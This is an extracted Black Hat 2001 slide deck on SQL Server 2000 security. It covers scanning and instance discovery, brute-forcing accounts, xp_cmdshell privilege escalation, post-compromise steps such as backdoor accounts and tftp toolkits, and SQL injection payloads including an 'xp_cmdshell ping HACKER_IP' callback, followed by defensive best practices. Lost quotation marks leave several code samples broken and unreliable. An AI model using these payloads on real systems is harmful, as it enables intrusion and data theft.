7/23/2015www.sqlsecurity.com1 SQL Server 2000 Security From the Attackers Perspective Chip Andrews Black Hat Security Conference July 2001

7/23/2015www.sqlsecurity.com2 Presentation Outline Section 1 – The Good –SQL Server Security Overview –Logins/Roles/Groups/Users/Applications –Net-libs/Encryption/Integrity Section 2 – The Bad –Fingerprinting –Account Acquisition –Privilege Escalation Section 3 – The Ugly –SQL-Injection –Input Validation –Best-Practices

7/23/2015www.sqlsecurity.com3 Presence Biztalk Server 2000 Commerce Server 2000 Application Center Server 2000 Third-Party Apps (MSDE) –Tumbleweed Worldsecure –Valadeo Technologies, Inc. –OReilly & Associates, Inc. (WebBoard) –Telemate.net

7/23/2015www.sqlsecurity.com4 Security Framework

7/23/2015www.sqlsecurity.com5 Net Libraries By default, TCP/IP and Named Pipes are enabled –Super Sockets net-lib allows SSL over any other net- lib when trusted certificate is installed on SQL Server –Multi-protocol (RPC) is not longer necessary since all net-libs now support encryption and multi-protocol does not support named instances (Microsoft code words for soon to be retired) –Other net-libs include Appletalk, NWLink IPX/SPX, and Banyan VINES, (shared memory and Virutal Interface Architecture SAN)

7/23/2015www.sqlsecurity.com6 SQL Server Service Context MSSQLSERVER service configured at install-time Tempting to use LocalSystem –Better choice Local User Account with minimal rights including access (SQL Server install will take care of rights) Domain User is also an option but only to be used in cases of replication or heterogeneous queries/ linked servers

7/23/2015www.sqlsecurity.com7 SQL Server Security Modes (cont.) Mixed Mode –Both SQL Server and Windows Authentication Mode logins are allowed access –Lacks strong authentication controls such as password complexity, expiration, lockout, or history when using SQL Server logins –Provided for backwards compatibility and Windows 98/Me installations (Personal Edition)

7/23/2015www.sqlsecurity.com8 Good Idea – Whats the problem? Microsoft recommends Windows Authentication Mode –The Problems Microsoft cant seem to take it own medicine (MSCS 2000, Biztalk 2000, and most reference applications require mixed mode) Many developers avoid anything that involves having to learn a security model usually reserved for IT personnel as it burdens the deployment phase with complexity Developers assume its someone elses responsibility to protect their connection strings

7/23/2015www.sqlsecurity.com9 Mode Guidelines Windows Security –SQL Server exposed to possible attackers (Intranet apps, client/server apps) –Heavy auditing requirements –Granular security requirements Mixed Mode –SQL Server completely isolated and tunneled to client –Shared context acceptable or administrative overhead in supporting multiple security models is acceptable –Need for simple connectivity as cost of weak access control acceptable (why would either of these be acceptable?)

7/23/2015www.sqlsecurity.com10 SQL Server Logins –Kept in the sysxlogins table SIDs of users or groups stored for Windows Authentication logins 16-byte GUID generated for SQL Server native logins and stored in SID column SQL Server Users –Users are stored in individual databases in the sysusers table Determines who has access to database objects Can be assigned to fixed (db_owner, db_ddladmin, etc.) or user-defined database roles User privileges can be managed using GRANT, DENY, and REVOKE

7/23/2015www.sqlsecurity.com11 SQL Server Roles Used to group users for special tasks and for ease of administration –Fixed Server Roles Sysadmin, serveradmin, securityadmin, etc. –Fixed Database Roles Db_owner, db_accessadmin, db_securityadmin, etc. –User Database Roles (think groups) Ease of administration –Application Roles (sp_setapprole) Give users access to an application but not the SQL server itself

7/23/2015www.sqlsecurity.com12 C2 Level Auditing exec sp_configure C2 Audit Mode,1 go reconfigure go –Automatically creates a trace file called audit_YYYYMMDDHHMMSS_[seq].trc in directory \microsoft sql server\mssql\data –Trace files can easily be imported for thorough analysis

7/23/2015www.sqlsecurity.com13 Some Other SQL 2K Goodies Features that affect security (good and bad) –Multiple instancing –Variant Datatype –CrytoAPI now used for all internal encryption –Delegation now supported for SQL Server –Updatable federated database servers –User-defined functions –Cascading referential integrity

7/23/2015www.sqlsecurity.com14 Section 1 Conclusion Microsoft has made some great strides to improve the security of SQL Server –Some ideas for future releases Come to grips with the fact that native SQL Security is weak and improve it rather than simply recommend integrated security Do a better job of leading by example when it comes to recommending SQL Server security models Consider displaying warnings before allowing administrators to use LocalSystem account for the MSSQLServer service since Certificates are not supported and the account is usually over-privileged

7/23/2015www.sqlsecurity.com15 Section 2 – The Bad Fingerprinting/Discovery Acquiring Access Privilege Escalation Potential Pitfalls –Custom DLLs –Application Requirements –Source Disclosure

7/23/2015www.sqlsecurity.com16 Target Acquisition IIS Web Servers - a good bet SQL Server is driving it –telnet targetname 80 –HEAD / HTTP/1.0 – Dig for hints about target database usage –Newsgroups SQL discussion boards ( –Job Postings Corporate website (click careers) etc. If all else fails - ask

7/23/2015www.sqlsecurity.com17 Newsgroups The Good News: Most developers need help somewhere along the way and newsgroups are great for that The Bad News: You may be announcing your architecture to potential attackers –Advanced search Containing : sql server yourcompany.com

7/23/2015www.sqlsecurity.com18 SQL Scanning TCP port 1433 –SQL Server defaults to listen on these ports since ip- sockets net-lib is installed by default (along with named pipes) UDP port 1434 (requirement) –Thanks to multiple instancing, having to know the exact port is not needed to connect since the SQL client will be more than happy to auto-connect you to the instance through auto-discovery

7/23/2015www.sqlsecurity.com19 SQL Scanning Starting nmapNT V SP1 by eEye Digital Security ( ) based on nmap by ( ) Interesting ports on ( ): (The 1507 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 25/tcp open smtp 80/tcp open http 88/tcp open kerberos-sec 135/tcp open loc-srv 139/tcp open netbios-ssn 389/tcp open ldap 443/tcp open https 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1026/tcp open nterm 1080/tcp open socks 1433/tcp open ms-sql-s /tcp open msrdp

7/23/2015www.sqlsecurity.com20 SQL Server Discovery Multiple instancing capabilities of SQL Server 2000 make enumeration a functional requirement A specially formed UDP packet directed at port 1434 will cause the SQL 2K listener service to divulge information about every instance of SQL Server running on that machine –Packet Information Instance names Net-libs supported TCP ports and pipe names Clustering support (juicy targets)

7/23/2015www.sqlsecurity.com21 Broadcast Discovery Since the listener may exist on multiple machines, it is possible to send a broadcast UDP packet to port 1434 to discover all instances of SQL Server 2000 on a subnet –Osql –L (will return a raw listing) but only of server names and only via broadcast to –Capture returned packets –Analyze

7/23/2015www.sqlsecurity.com22 SQL Server Discovery The following is a sample response from a SQL Server to the UDP broadcast: (Captured using Snort – =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ [**] SQL Server Reply [**] 12/22-14:18: :1434 -> :4412 UDP TTL:128 TOS:0x0 ID:15054 Len: 133.z.ServerName;DEV-REPORT2;InstanceName;MSSQLSERVER;IsClustered;N o;Version; ;tcp;1433;np;\\DEV-REPORT2\pipe\sql\query;; =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

7/23/2015www.sqlsecurity.com23 SQLPing Utility Directs a custom udp packet at a specific target or subnet and enumerates the server info across multiple instances Listening.... ServerName:LANDROVER InstanceName:SQL2K IsClustered:No Version: tcp:1241 np:\\LANDROVER\pipe\MSSQL$SQL2K\sql\query ServerName:LANDROVER InstanceName:MSSQLServer IsClustered:No Version: np:\\LANDROVER\pipe\sql\query tcp:1433 rpc:LANDROVER

7/23/2015www.sqlsecurity.com24 Account Acquisition Brute Force (mixed security model) –Attacks the inherent weakness of the native SQL Server security model –Multiple freeware tools (sqldict, sqlpoke,sqlbf) –Mssqlserver lacks account lockouts or password complexity requirements –Do we even need to mention null sa account passwords?

7/23/2015www.sqlsecurity.com25 Account Acquisition (cont.) Sniffing (mixed or NT security mode) –L0phtcrack (to obtain NT account) –TCP 1433 traffic (non SSL) Plaintext transmission of credentials Passwords trivially obfuscated Connection strings (mixed mode) –Client registry (regedit) –Imbedded in ASP source or client-side script (RDS) –Config files (global.asa, connect.inc, etc.)

7/23/2015www.sqlsecurity.com26 Source Code Disclosure : Microsoft IIS Unicode.asp Source Code Disclosure Vulnerability : MS Index Server and Indexing Service ISAPI Extension Buffer Overflow Vulnerability : MS IIS/PWS Escaped Characters Decoding Command Execution Vulnerability : Microsoft Index Server Buffer Overflow Vulnerability : Microsoft IIS File Fragment Disclosure Vulnerability : Microsoft IIS 4.0 / 5.0 Extended UNICODE Directory Traversal Vulnerability : Microsoft IIS 5.0 "Translate: f" Source Disclosure Vulnerability : Microsoft IIS 4.0/5.0 Source Fragment Disclosure Vulnerability : Microsoft IIS 4.0/5.0 Malformed Filename Request Vulnerability : MS Index Server '%20' ASP Source Disclosure Vulnerability : Microsoft IIS Executable File Parsing Vulnerability : NT IIS ASP VBScript Runtime Error Viewable Source Vulnerabilityy *Source:

7/23/2015www.sqlsecurity.com27 Privilege Escalation xp_cmdshell – Extended stored procedure that allows access to the operating system –SQL Server 2000 does not allow non-sysadmins to access xp_cmdshell –Administrators can assign a proxy account under which non-sysadmins can use xp_cmdshell –The real problem is that if an attacker can access SQL Server as a system administrator, they can execute operating system commands with the security context of the MSSQLServer service

7/23/2015www.sqlsecurity.com28 Privilege Escalation (cont.) Other methods –xp_regread/xp_regwrite –Sp_OACreate –Enumeration functions –Openrowset – heterogeneous queries can allow attackers to brute-force their way into other systems

7/23/2015www.sqlsecurity.com29 Other Potential Pitfalls System extended stored procedures have been found to have buffer overflow vulnerabilities –Some of these were executable by all users so low- privilege SQL Server users instantly gained MSSQLServer service context –Custom DLLs can cause same issue – be careful when writing your own extended stored procs

7/23/2015www.sqlsecurity.com30 Theyre in - Now What? Create a backdoor SQL or NT account Insert trojan extended stored procedures to capture passwords/data/events Use tftp to pull in toolkits Use this SQL Server to launch attacks against other hosts Install proxy server to make this machine your patsy for other applications (netcat or other redirectors) Take your data and make you suffer Data diddling As usual – possibilities are limited only by the imagination

7/23/2015www.sqlsecurity.com31 Your Defenses Intrusion detection/Auditing –Create auto-start stored procedure to initiate a trace sp_trace_create sp_trace_setevent sp_procoption sp_mytrace', 'startup', 'true' –(SQL Profiler) Trace can be used to input records into audit log –(SQL Profiler) Trigger in audit log table alerts administrator to IDS signature match and can take other actions (stop server, close connection) –Completely isolate SQL Server. Only allow connectivity to specific hosts

7/23/2015www.sqlsecurity.com32 Section 2 Conclusion Sensible configuration management will help secure SQL Server itself –Take the time to scan your networks and determine what people on the inside and the outside can access –Brute-force your own systems to be sure password complexity and account policies (if using Windows security) are sufficient

7/23/2015www.sqlsecurity.com33 Section 3 – The Ugly SQL Code Injection Best Practices.NET Beta Functionality The Future What can I do TODAY?

7/23/2015www.sqlsecurity.com34 Scope of SQL Injection Not specific to SQL Server – Oracle, MySQL, DB2, Sybase, etc. are also vulnerable SQL injection attacks rarely alerts IDS systems especially over SSL (NIDS) Difficult to track down all the areas of exploitation since the only real solution is manual code review No amount OS security, firewalls, patch diligence will stop SQL injection. The solution is good coding practices

7/23/2015www.sqlsecurity.com35 SQL Injection Sample ASP Code (can you count the mistakes?) <% Set Conn = Server.CreateObject("ADODB.Connection") Conn.open dsn=myapp;uid=sa;pwd=45nf3k332fhj Set RS = Conn.Execute("SELECT * from users where username=" & request.form(username) & AND password= & request.form(password) & "" ) %>

7/23/2015www.sqlsecurity.com36 SQL Injection Example 1 Normal login SQL Server sees select * from users where username=bob and password=b2oQeDr! All is well (or so it seems) Login Page UserName: bob Password:b2oQeDr!

7/23/2015www.sqlsecurity.com37 SQL Injection Example 1 Malicious Login SQL Server sees select * from users where username=bob and password= union select * from users where admin=1 In this case the user logs in as the site administrator Login Page UserName: bob Password: union select * from users where admin=1

7/23/2015www.sqlsecurity.com38 SQL Injection Example 2 Normal usage –Notice that on a search page we get immediate feedback – good target for injection –Also, since we see three columns we can assume thats all the SQL statement is selecting User Search Enter Last Name : andrews Results: LastFirst

7/23/2015www.sqlsecurity.com39 SQL Injection Example 2 Malicious Usage User Search Enter Last Name : union Results: LastFirst Microsoft SQL Server (Intel X86) Aug :57:48 Copyright (c) Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 1)

7/23/2015www.sqlsecurity.com40 Live Demonstration Casing An Application

7/23/2015www.sqlsecurity.com41 SQL Injection Samples Problems –Poor input validation –Secret in ASP code (source code disclosure) –Poorly typed – SQL server and ASP not checking data-types –Security context too high for needed functionality

7/23/2015www.sqlsecurity.com42 SQL Injection - Tricks Tricks attackers use –UNION statements to append data ripped from other SQL – double hyphen comment indicator to block out the rest of the intended SQL –Try a single quote in input fields to see if the query fails (failure usually indicates bad input validation and possible exploitation) –exec master..xp_cmdshell ping HACKER_IP to check for sa-level exploitable hosts –select name from sysobjects where type = u can expose tables to exploit –Insert tablename exec sp_whatever – good way to see output of stored procedures –Use to return SQL Server and OS versions and Service Packs

7/23/2015www.sqlsecurity.com43 SQL Injection – Variants New sql_varaiant datatype –Usually, when UNION-ing select statements, the difficult part is matching data-types –With the sql_variant data-type it is possible to include any type other than text, ntext, image or timestamp Result: Attackers spend less time guessing about column order

7/23/2015www.sqlsecurity.com44 SQL Injection – Variants sql_variant sample: Before: –select job_lvl, fname from employee union select name,id from sysobjects where type=u Result: Syntax error converting the varchar value 'Paolo' to a column of data type int. After: –select job_lvl, fname from employee union select convert(sql_variant,name), convert(sql_variant,id) from sysobjects where type=u Result:authors discounts dtproperties employee ….(and then some)

7/23/2015www.sqlsecurity.com45 Solutions: Input Validation Scrub input data to make sure it contains only acceptable characters replace(inputstring,,) Remove single quotes to help prevent quote-closing attacks Set myregex = new regexp myregex.global = True myregex.pattern = \W+ cleaninput=myregex.replace Remove all characters except a- zA-Z0-9 Set myregex = new regexp myregex.global = True myregex.pattern = \D+ cleaninput=myregex.replace Numbers only

7/23/2015www.sqlsecurity.com46 Input Validation (cont.) –Helps but not 100% effective – consider this: User inputs 0 union select accesslevel from usertable where uid like 1 –The problem: »Input still not strongly typed –Solutions: »Manual datatype filtering (isnumeric) »SQL Stored Procedures <% x = replace(inputstring,,) rs = conn.execute Select accesslevel from usertable where userID= & x %>

7/23/2015www.sqlsecurity.com47 Input Validation – Stored Procedures Stored procedures can help enforce stronger typing but using them at every database access can be brutal due to the sheer number of procs that may need to be created –Since SQL Server has already compiled the query plan for the query, no further code injection is possible if we properly invoke the procedure Create procedure varchar(20) AS Select * from users where username and password

7/23/2015www.sqlsecurity.com48 SP Poorly Implemented This sp uses string-building – Injection still possible <% Set Conn = Server.CreateObject("ADODB.Connection") Conn.open dsn=myapp;Trusted_Connection=Yes Set RS = Conn.Execute(exec sp_login " & request.form(username) &, & request.form(password) & "" ) %>

7/23/2015www.sqlsecurity.com49 Better Implementation of SP Use Command object to explicitly identify parameters Dim cn As New ADODB.Connection Dim cmd As New ADODB.Command Dim rs As New ADODB.Recordset Dim param1 As Parameter, param2 as Parameter cn.Open dsn=myapp;Trusted_Connection=yes" Set cmd.ActiveConnection = cn cmd.CommandText = sp_login" cmd.CommandType = adCmdStoredProc Set param1 = cmd.CreateParameter(username", adVarChar, adParamInput) cmd.Parameters.Append param1 Set param1 = cmd.CreateParameter(password", adVarChar, adParamInput) cmd.Parameters.Append param2 Set rs = cmd.Execute Expose stored procedures as methods of the connection object and let ADO do the work for you –Conn.sp_login request.form(username), request.form(password), rs

7/23/2015www.sqlsecurity.com50 Discipline Make sure developers adhere to the standards –Develop a methodology Command objects / stored procs / sp_executesql No access to production servers (keep developers off production systems – period) Consistent database access and developer education –Encourage reusable security components –Code review –QA Test Plans –Code with an intruders mindset

7/23/2015www.sqlsecurity.com51 Best Practices Use principle of least-privilege Assign MSSQLServer service non-administrator user context Take the time to properly implement trusted security (Integrated Mode) Dont place passwords in script/code Assign complex sa password even when using Integrated security Consider dropping certain procedures in the interest of security. They can always be added later.

7/23/2015www.sqlsecurity.com52 Best Practices (cont.) Write re-usable input validation routines and make their use mandatory Use stored procedures wherever possible but avoid string building for executing them Code reviews are an absolute necessity Evaluate third-party code and applications with great scrutiny Use SSL (through use of net-libs) or IPSec to encrypt network traffic on suspect subnets (more applicable to client/server deployments but a powerful option)

7/23/2015www.sqlsecurity.com53 Best Practices – Minimize Risk Assume your connection strings are compromised –Deny access to all tables –Use stored procedures and views to force access only through your own database constructs –Consider using asymmetric encryption on valuable data –Egress filtering –Never place administrative pages on same server with normal website code or administrative stored procedure in same database with normal procedures

7/23/2015www.sqlsecurity.com54 Best Practices - Integrity SQL-DMO has method for database object to script entire database –Could easily be used to periodically generate script profiles and compare them to previous versions –Deltas could easily expose code changes and alert administrators –There are code examples with SQL server that demonstrate these methods (Microsoft SQL Server/80/tools/devtools/samples/sqldmo)

7/23/2015www.sqlsecurity.com55 Microsoft.NET Web services –Most will probably front-end database operations –Prime target for automated attacks –SSL used to secure SOAP calls should foil intrusion detection systems –Make sure to perform diligent validation and authentication –UDDI raises interesting possibilities

7/23/2015www.sqlsecurity.com56 Microsoft.Net (cont.).NET Framework includes input validation, encryption, and session management functions –While this is a great time-saver for developers, if problems are found then instead of a single operation being affected, all applications designed using the framework are potentially vulnerable –You should find most SQL credentials in web.config file in the section Even the.NET reference application Fitch and Mather stores SQL credentials here in plaintext Make use of the section of web.config to restrict certain extensions (*.cs, *.config, *.asax, etc.)

7/23/2015www.sqlsecurity.com57 Reference Links

7/23/2015www.sqlsecurity.com58 Recommended Reading Howard, Levy, and Waymire. Designing Secure Web- Based Applications for Microsoft Windows Microsoft Press, McClure, Scambray, and Kurtz. Hacking Exposed: Second Edition. Osborne, Rain Forest Puppy – Phrack Magazine Volume 8, Issue 54 Dec 25 th, 1998, article 8 of 12. David Litchfield. Remote Web Application Disassembly With ODBC Error Messages 01/Litchfield/BHWin01Litchfield.doc